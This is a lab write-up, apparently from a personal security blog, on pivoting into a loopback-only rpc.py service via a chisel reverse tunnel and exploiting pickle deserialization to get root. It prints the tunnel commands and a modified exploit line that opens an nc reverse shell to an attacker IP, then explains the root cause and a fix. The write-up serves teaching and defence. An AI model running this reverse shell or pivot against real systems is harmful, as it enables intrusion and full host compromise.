← Back to all writeups

Python Pickle Deserialization in an Internal RPC Service

An RPC service bound to localhost isn't safe just because it's unreachable from outside — pivot into the loopback interface and a pickle deserialization bug hands you root.

pickledeserializationpythonrpclinuxprivilege-escalationpivotingchisel

Binding a service to 127.0.0.1 is a common way to say “this only needs to be reachable from the box itself.” It’s a reasonable assumption right up until an attacker already has a shell on that box — at which point “unreachable from outside” and “unreachable at all” stop meaning the same thing. This lab needed a tunnel, a process listing, and a Python deserialization bug to turn that assumption into root.


The Setup

After an initial foothold, I ran LinPEAS as part of standard enumeration and it flagged something worth a second look: a service bound only to loopback.

netstat -tlnp

netstat output showing an internal-only service listening on 127.0.0.1:65432

tcp   0   0 0.0.0.0:8000          0.0.0.0:*   LISTEN   1045/ttyd
tcp   0   0 127.0.0.1:53          0.0.0.0:*   LISTEN   -
tcp   0   0 0.0.0.0:22            0.0.0.0:*   LISTEN   -
tcp   0   0 127.0.0.1:65432       0.0.0.0:*   LISTEN   -
tcp6  0   0 :::22                 :::*        LISTEN   -

127.0.0.1:65432 — no process name shown (I didn’t have permission to see the owning PID yet), but bound strictly to loopback. Something on this box only trusts connections that appear to originate from itself. From my current shell, I actually am the box, so this was worth pivoting into directly.


Enumeration — Pivoting Into the Loopback Service

I didn’t have a way to reach 127.0.0.1:65432 from my attacking machine without routing through the compromised host first, so I set up a reverse tunnel using chisel — running the server on my Kali box and the client on the target, with a reverse port forward exposing the target’s loopback port back to me.

On my attacking machine:

chisel server --reverse --port 9000

chisel server listening in reverse mode on port 9000

On the target:

./chisel client 192.168.45.236:9000 R:65432:127.0.0.1:65432

chisel client connecting back and establishing the reverse tunnel

client: Connecting to ws://192.168.45.236:9000
client: Connected (Latency 251.642351ms)

With that tunnel up, 127.0.0.1:65432 on the target was now reachable as 127.0.0.1:65432 on my own machine too. The service’s “internal only” assumption no longer held.

Before poking at the service itself, I checked what was actually running it:

ps -aux | grep root

ps aux output showing /opt/rpc.py running as root

root      1044  0.1  1.2  32208 24688 ?  S  18:41  0:06 python3 /opt/rpc.py

/opt/rpc.py, running as root, on the exact port LinPEAS had flagged. A quick search turned up a known vulnerability: rpc.py 0.6.0 — Remote Code Execution, tied to how the service deserializes incoming request data.


Why This Works

rpc.py is a lightweight Python RPC framework that, in the vulnerable version, uses pickle to deserialize objects sent over the wire. pickle is Python’s native object serialization format, and its documentation is explicit about the danger here: unpickling data is equivalent to arbitrary code execution, because the pickle protocol can encode instructions to construct arbitrary objects — including calling arbitrary callables with attacker-controlled arguments, such as os.system or subprocess.Popen.

A well-behaved RPC service should never deserialize untrusted input with pickle (or yaml.load without SafeLoader, or PHP’s unserialize() on similarly unsanitized data — the same class of bug shows up across languages). The mere act of loading the object graph runs code, well before any application-level validation of “is this a legitimate RPC call” ever gets a chance to execute.

Because the service ran as root and only trusted loopback connections — an assumption that quietly broke the moment I had any code execution on the box at all — tunneling in and sending a malicious pickle payload was equivalent to handing myself a root shell directly.


Exploitation

The public exploit for this rpc.py version builds a malicious pickle payload and sends it to the service, which happily deserializes and executes it. I took the existing PoC and swapped its default command for a reverse shell pipe so the payload would call back to me instead of just proving code execution:

def main():
    #exec_command('curl http://127.0.0.1:4321')
    exec_command('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.236 443 >/tmp/f')

modified exploit code replacing the default PoC command with a reverse shell FIFO pipe

The payload builds a named pipe, wires it up to sh -i, and pipes both directions of the shell through nc back to my listener — a standard reverse shell pattern, just delivered through the deserialization bug instead of a normal command injection.

With a listener up and the exploit script pointed at the tunneled 127.0.0.1:65432, I ran it:

nc -lnvp 443

nc listener receiving the callback, id confirming uid=0(root)

connect to [192.168.45.236] from (UNKNOWN) [192.168.152.210] 41114
# id
uid=0(root) gid=0(root) groups=0(root)

Root, straight off a service that was supposedly only reachable by itself.


Root Cause

Two independent mistakes stacked to make this exploitable: the service deserialized untrusted input using pickle, and it was run as root under the assumption that binding to loopback made it inherently safe. Neither assumption held once an attacker had any foothold on the host — loopback-only binding stops the outside world, not a local pivot.

Fix:

# Never use pickle for data that crosses a trust boundary.
# Use a safe, schema-constrained format instead:
import json
data = json.loads(untrusted_bytes)   # no arbitrary object construction, no code execution

# If the RPC service must run with elevated privileges, drop them
# immediately after binding, and run as a dedicated low-privilege
# service account instead of root.

And regardless of the serialization format: “bound to 127.0.0.1” is not a security boundary against an attacker who already has any code execution on the host. Treat internal-only services with the same input validation rigor you’d apply to anything internet-facing.


Key Takeaways

  • A service bound to 127.0.0.1 is only safe from remote attackers — once you have any shell on the box, loopback services are fully in scope, and tools like chisel make reaching them from your own machine trivial
  • Always check what’s actually listening on unusual internal ports before assuming a bound-to-loopback service is a dead end
  • pickle.loads() (and its equivalents in other languages) on attacker-influenced data is functionally equivalent to remote code execution — there’s no safe way to sanitize untrusted pickle input, it has to not be used at all
  • Modifying a public PoC to redirect its default payload to a reverse shell is often the fastest path from “confirmed RCE” to an interactive root shell
  • Running a vulnerable service as root turns any deserialization bug in it into an instant, full-privilege compromise

Questions? Hit me up on X.